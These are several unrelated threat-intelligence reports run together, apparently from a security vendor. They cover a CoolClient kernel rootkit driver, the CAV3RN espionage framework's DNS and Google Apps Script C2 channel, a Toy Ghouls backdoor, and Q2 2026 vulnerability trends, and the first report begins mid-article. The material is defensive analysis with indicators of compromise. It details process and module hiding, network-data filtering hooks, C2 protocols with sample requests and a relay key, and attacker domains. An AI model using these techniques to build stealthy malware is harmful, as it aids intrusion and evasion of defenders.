Once the driver has been initialized, CoolClient proceeds to launch the final-stage implant (cert.ini). Before creating the target process, the malware enumerates active WinStation sessions to identify a suitable interactive user session.

After selecting a session, CoolClient duplicates its access token, updates the session identifier, and creates a new synchost.exe process using CreateProcessAsUserA. The decrypted cert.ini DLL is then injected into the suspended process using the same memory allocation, thread context modification, and ResumeThread technique described earlier.

This marks the final transition in the execution chain, where the third-stage implant takes over C2 communication and the remaining backdoor functionality.

Msagent.sys driver

Analysis of the deployed kernel-mode driver reveals an embedded PDB path:

PDB Path

E:\work\南京实验室\2024项目\张雪杰云南m\研发\FTool\Tool\x64\Release\FTool.pdb

The driver is digitally signed with a certificate issued to "Nanjing Ranyi Technology Co., Ltd.", with serial number 3E 62 DC 5D 8D 61 2A 26 33 E7 6B DF D6 07 19 DD. The certificate was valid from August 2013 to September 2014.

We identified several older malicious drivers signed with the same certificate that were compiled around 2013. However, we found no evidence directly linking those samples to the CoolClient activity described in this article.

Driver configuration

During initialization, the driver loads its stealth configuration from the registry key \REGISTRY\MACHINE\SYSTEM\RNG. The configuration defines which system objects should be hidden or protected and controls the driver’s operating mode.

Registry configuration loaded by the driver during initialization

Two REG_DWORD values control the driver’s operating mode:

In addition, the driver loads several REG_MULTI_SZ values that define the objects to be hidden or protected.

Together, these registry values determine which filesystem paths, registry objects, and processes are managed by the driver’s protection mechanisms.
After loading the configuration, the driver converts the registry entries into internal lookup structures that are shared across its various protection components.

These structures are later referenced by the filesystem minifilter, registry callback, process callback, object callback, image load callback, and IOCTL handlers to determine whether a file, registry object, or process should be hidden, protected, or ignored.

Preparation for process hiding

Next, the driver dynamically locates the ActiveProcessLinks (LIST_ENTRY) field within the EPROCESS structure instead of relying on hardcoded offsets. It first validates several predefined offsets and, if none match, performs a linear scan of the EPROCESS structure to identify the correct location. This approach allows the driver to remain compatible across different Windows versions, where the layout of EPROCESS may differ.

The driver validates candidate ActiveProcessLinks layouts before enabling process hiding

Once the correct offset has been identified, it is stored for later use by the process hiding routines. During process hiding and restoration, the driver uses IOCTLs 0x22219C and 0x2221A0 to unlink and relink entries in the Windows active process list, effectively hiding or restoring processes on demand.

Process, object, and image load callbacks

After preparing its process tracking structures, the driver initializes several AVL trees and populates them with configuration entries loaded from the registry, including Wid_H1deF5Dirs, Wid_H1deF5Files, Wid_H1deRegKeys, Wid_H1deRegValues, Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages.

These AVL trees provide efficient lookups for protected files, registry objects, and tracked processes, and are shared by the callback routines and IOCTL handlers.
The driver then registers three types of kernel callbacks that form the foundation of its protection and monitoring mechanisms:

• Object callbacks using ObRegisterCallbacks
• Process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx
• Image load callbacks using PsSetLoadImageNotifyRoutine

Registration of object, process, and image load callbacks during driver initialization

After registration, these callbacks maintain the driver’s internal tracking structures as processes, threads, and images are created or loaded.

Object callbacks

To protect selected processes, the driver registers object callbacks for process (PsProcessType) and thread (PsThreadType) objects using ObRegisterCallbacks with an altitude of 1203. These callbacks intercept requests to open process and thread handles. If the target process is protected, the driver reduces the access rights granted to the requesting process, preventing operations such as process termination, code injection, and other forms of process manipulation. In this sample, the protected process is the injected CoolClient code running inside synchost.exe.

Process and image load callbacks

The driver registers process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx, together with an image load callback via PsSetLoadImageNotifyRoutine.

When a process is created, its image name is compared against the configuration lists Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages. Matching processes are added to the driver’s internal tracking structures, allowing them to be protected, hidden, or managed through subsequent IOCTL requests. When a tracked process terminates, its entry is removed from the tracking structures.

The image load callback monitors modules loaded into tracked processes and updates the driver’s internal state to support subsequent protection and hiding operations.

To ensure that processes already running before the driver is initialized are also tracked, the driver performs a one-time enumeration of all active processes after registering the callbacks and adds any matching processes to the tracking structures.

MiniFilter registration

To protect files and directories, the driver registers a filesystem minifilter. During initialization, it creates internal path filter lists, loads the configured directory and file entries (Wid_H1deF5Dirs and Wid_H1deF5Files), and creates the required minifilter registry entries under HKLM\SYSTEM\CurrentControlSet\Services\msagent\Instances. To avoid altitude conflicts, the driver dynamically assigns a filter altitude and retries registration until a unique value is obtained.

Retrying minifilter registration with incrementing filter altitude values until FltRegisterFilter succeeds

The driver then activates the minifilter using FltRegisterFilter. The filter works together with the IOCTL interface, which dynamically adds, removes, or clears protected path entries (0x2220F0, 0x2220F4, and 0x2220F8). During filesystem operations, the minifilter compares accessed paths against its internal path lists and denies access to matching entries, effectively hiding protected files and directories from users and applications.

Registry callback registration

To protect registry keys and values, the driver registers a registry callback using CmRegisterCallbackEx with an altitude of 320000. During initialization, it creates separate lookup structures for protected registry keys and values, then populates them using the configured entries from Wid_H1deRegKeys and Wid_H1deRegValues.

Registration of the registry callback using CmRegisterCallbackEx with an altitude of 320000

Once registered, the callback intercepts registry operations and compares the target key or value against the protected entries. For enumeration requests, matching keys and values are removed from the results before they are returned to user mode, effectively hiding them from registry viewers. For direct access requests, such as opening, modifying, or deleting protected registry objects, the callback returns STATUS_ACCESS_DENIED, preventing the operation.

Before applying these restrictions, the driver verifies whether the requesting process is trusted. Processes registered through IOCTL 0x222120, including the CoolClient user-mode component, bypass the filtering logic and retain unrestricted access, while all other processes remain subject to the driver’s registry protection rules.

IOCTL command dispatcher

To communicate with the user-mode component, the driver creates a device object named \Device\ToolTool together with the symbolic link \DosDevices\ToolTool to allow the user-mode CoolClient component to communicate with the driver through DeviceIoControl requests.

The driver implements 33 IOCTL handlers, although the analyzed CoolClient sample uses only three during normal execution:

• 0x222120: registers the current CoolClient process with the driver.
• 0x2221E0: passes the configured C2 IPv4 address.
• 0x2220F0: registers filesystem and registry paths for protection.

The remaining IOCTL handlers were not invoked by the analyzed sample.

After initializing the IOCTL dispatcher, the driver releases the temporary configuration buffer that was previously loaded from \REGISTRY\MACHINE\SYSTEM\RNG.

Kernel module enumeration and hiding

To support kernel module hiding, the driver resolves the address of the non-exported kernel variable PsLoadedModuleList at runtime using MmGetSystemRoutineAddress. This global linked list maintains information about all loaded kernel modules and drivers, allowing the rootkit to enumerate and manipulate module entries.

Driver initialization routine resolving the address of PsLoadedModuleList for subsequent kernel module hiding

This functionality is exposed through IOCTL 0x222138, which accepts a module name or path from the user-mode component. When a matching module is found, the driver locates the corresponding entry in PsLoadedModuleList and unlinks it by updating its Flink and Blink pointers. As a result, the hidden module no longer appears in standard kernel module enumeration routines.

Nsiproxy hooking and data filtering

The driver also hooks the Nsiproxy driver to filter network-related data returned to user mode. This functionality is connected to IOCTL 0x2221E0, which allows the user-mode component to register C2 IPv4 addresses with the driver.

To install the hook, the driver obtains a reference to \Driver\Nsiproxy using ObReferenceObjectByName and replaces one of the Nsiproxy handler pointers with its own filtering routine. The hook preserves the original handler and forwards execution after processing the returned data.

Installing the Nsiproxy hook by resolving \Driver\Nsiproxy and replacing the original handler with the driver’s filtering routine

When the hooked routine processes network information, the driver compares the returned entries against its registered C2 address list. Matching IP addresses are removed before the data is returned to user mode, preventing applications that rely on Nsiproxy-provided network information from seeing the malware’s C2 addresses.

Finally, the driver registers a DriverUnload routine to release allocated resources when the driver is unloaded.

Victimology

The latest CoolClient variant continues to target organizations consistent with previously observed HoneyMyte activity. Based on our investigations, we identified victims in Myanmar, Mongolia, Pakistan, and Russia, including confirmed government entities.

Across the observed intrusions, CoolClient was consistently deployed as a secondary backdoor following a PlugX infection, indicating that HoneyMyte continues to use PlugX as its initial post-compromise implant before transitioning to CoolClient.

Attribution

Our analysis confirms that the investigated malware is a new CoolClient variant associated with the HoneyMyte threat group. While the overall execution flow remains consistent with previously documented CoolClient variants, this sample introduces a previously undocumented kernel-mode driver that significantly expands the malware’s stealth capabilities.

The deployment chain observed in this investigation is also consistent with previous HoneyMyte campaigns, in which PlugX serves as the initial foothold before CoolClient is deployed as a secondary backdoor, further reinforcing the attribution.

Conclusion

The latest CoolClient variant represents a significant evolution of the malware. Rather than operating solely as a user-mode backdoor with plugin support, it now deploys and communicates with a kernel-mode driver that extends its capabilities beyond earlier versions. Through this driver, CoolClient can hide and protect processes, files, and registry objects, as well as filter selected network information, making detection and analysis considerably more difficult.

HoneyMyte has previously introduced kernel-mode functionality in ToneShell. The addition of a kernel-mode driver to CoolClient suggests that the group continues to expand its use of rootkit capabilities to improve stealth, persistence, and defense evasion during post-compromise operations.

IOCs

2d7c8780e97409770a9d4f31c66c9d63 msagent.sys
9460E150E1981D5C165043520C5C12FE msagent.sys
9717F005C5FB98E08D2AD983D88F94EE libngs.dll
F518D8E5FE70D9090F6280C68A95998F libngs.dll
EB79558B037669792652A816E2C669DE ctxmui.dll

C:\Program Files\microsoft\windows defender\
C:\Program Files\windows media player\mediares\
C:\ProgramData\symantecdir\
C:\ProgramData\virtualstore\
C:\Windows\identitycrl\production\
C:\Windows\serviceprofiles\networkservice\
C:\Users\<user>\AppData\Local\viber24.8\
C:\Users\<user>\AppData\Roaming\dsassistant\
C:\Program Files\common files\microsoft shared\office14\
C:\programdata\msdn\

cloudtroe.giize[.]com
employers.theworkpc[.]com
freeread.casacam[.]net
us.lenovoappstore[.]com
sundanish.freeddns[.]org
torinarlabs.webredirect[.]org
news.dursamjbataar[.]org
video.dursamjbataar[.]org
black-popular[.]com
whatismybestthing[.]com

Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

DNS-based deployment-ID freshness check

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

GET request to the header-gated C2 endpoint and its encoded tasking response

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

Introduction

We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.

We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:

• mqtt-bird-agent 0.1.0 (HiveMQ version)
• matrix-bird-agent 0.1.0 (Element version)

This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.

Technical details

Delivery

In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.

Installation

The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.

Other launch options are listed in the backdoor’s help output:

C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]

Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version

HiveMQ version backdoor help output

In the Element version, the backdoor help output looks as follows:

C:\wtass.exe -h
Matrix monitoring agent

Usage: wtass.exe [OPTIONS] [COMMAND]

Commands:
  install    Register this agent with the Matrix homeserver and panel
  uninstall  Remove this agent's service and credentials
  service    Run as a Windows service (internal)
  help       Print this message or the help of the given subcommand(s)

Options:
  -c, --config <CONFIG>
  -h, --help             Print help
  -V, --version          Print version

Element version backdoor help output

By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.

The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.

If the configuration cannot be decrypted, the backdoor stops running.

Encrypted configuration files look as follows:

Encrypted backdoor configuration file, HiveMQ version

The encrypted portion of the HiveMQ version’s configuration contains the following parameters:

• agent_privkey: the agent’s private key
• channel_id: the channel identifier used to communicate with the broker
• server_pubkey: the server’s public key

Decrypted blob field in the HiveMQ version’s configuration

In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.

Decrypted Element version configuration file, retrieved from the registry

The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.

Communication

At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.

The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.

• Once a connection is established, the system’s status is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/status. The message format is: {"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
• At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is: {cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
• The backdoor sends GET requests to broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format: {"cmd_id":int,"command":"str","timeout_secs":int}.
• Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
• Command execution results are sent to the command server at broker.hivemq.com:8883/[cluster_id]/cmd/res in the {"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.

For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:

• Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
• At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version: {cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
• This version of the backdoor supports two types of commands, distinguished by the start of the received message.
  • To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
  • Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
• Received commands are executed via the Windows command line interface.
• Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.

Takeaways

We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.

Indicators of compromise

Kaspersky security solution verdicts:

• HEUR:Backdoor.Win64.Suptoml.gen
• HEUR:Trojan.Script.Zapchast.conf
• Backdoor.Win64.Agent.smgdvy
• Trojan.Script.Zapchast.abwm
• Trojan.Win64.Agent.smgsfo
• Trojan.Script.Zapchast.abwo

File names and MD5 hashes:

• cplsupport.exe (BFADBEEE63A4F0BF19EC9DEB8FA58F58)
• wtass.exe (7916C33688385525078BEE504C90F359)
• config.toml

Registry keys:

• HKLM\Software\synapse\Config\SealedConfig
• HKLM\Software\SynapseAgent\metrics_interval

Service names:

• cplsupport (Problem Reports Control Panel)
• wtas (Windows Telemetry Aggregator Service)

Domain names:

• meet.element[.]tw
• broker.hivemq.com (a legitimate resource used by cybercriminals)
• ip-api.com (a legitimate resource used by cybercriminals)

The vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.

Second, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.

Statistics on registered vulnerabilities

This section provides statistical data on registered vulnerabilities. The data comes from Kaspersky’s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.

We examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It’s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.

Total published vulnerabilities per month from 2022 through 2026 (download)

Next, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.

Total critical vulnerabilities published per month from 2022 through 2026 (download)

As the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

Q2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new “named” vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:

• BlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.
• RedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as “cloud” can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.
• YellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.
• GreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.
• RoguePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.
• UnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.

Even though such cases remain isolated for now, we believe they’ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.

Veteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:

• CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
• CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
• CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
• CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive
• CVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
• CVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

That said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

